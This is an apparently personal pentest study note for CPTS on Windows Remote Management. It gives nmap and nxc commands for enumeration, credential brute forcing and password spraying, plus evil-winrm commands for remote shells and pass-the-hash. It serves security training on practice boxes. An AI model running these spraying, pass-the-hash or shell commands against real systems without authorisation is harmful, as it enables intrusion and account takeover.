~/service-winrm

WinRM

CPTS Notes2 min read

TL;DR

WinRM (Windows Remote Management). Remote PowerShell over SOAP on TCP 5985 (HTTP) and 5986 (HTTPS). The account must be a local admin or a member of the Remote Management Users group. It is the go-to shell once you hold a Windows credential.

First checks: 5985 or 5986 open, then valid credentials or a hash.

Enumeration

Sweep and check.

nmap -p5985,5986 -sV -oA scans/winrm $TARGET # WinRM ports and versions
nxc winrm $TARGET -u <user> -p <pass> # check one credential
nxc winrm $TARGET -u users.txt -p passwords.txt # a file each brutes a list

nxc winrm marks (Pwn3d!) when the account can get a shell.

Common misconfigurations

  • A non-admin account placed in the Remote Management Users group.
  • Reused Windows or domain credentials.
  • HTTP (5985) without TLS, so credentials are sniffable.

Attack playbook

WinRM turns a credential into a shell.

  1. Get a shell. evil-winrm is the standard WinRM shell. Its upload and download are in Session Transfers.
    evil-winrm -i $TARGET -u <user> -p '<pass>' # shell with a password
  2. Pass the hash. -H takes the NT hash alone.
    evil-winrm -i $TARGET -u <user> -H <nthash> # pass the hash
  3. Run one command.
    nxc winrm $TARGET -u <user> -p <pass> -x 'whoami' # run one command
  4. Use TLS. Add -S to evil-winrm for port 5986.
  5. Brute or spray. Last resort. WinRM has no hydra module, so brute with nxc or Metasploit winrm_login. Spray one password across users and read the lockout policy first. See Spraying and Defaults.
    nxc winrm $TARGET -u users.txt -p 'Welcome1' --continue-on-success # spray one password, keep going after a hit

Practice boxes

Box Difficulty WinRM’s role
Blackfield Hard An Active Directory chain ends in an evil-winrm shell with the recovered account.

WinRM is the shell after you own a Windows credential or hash. Check for (Pwn3d!) with nxc first.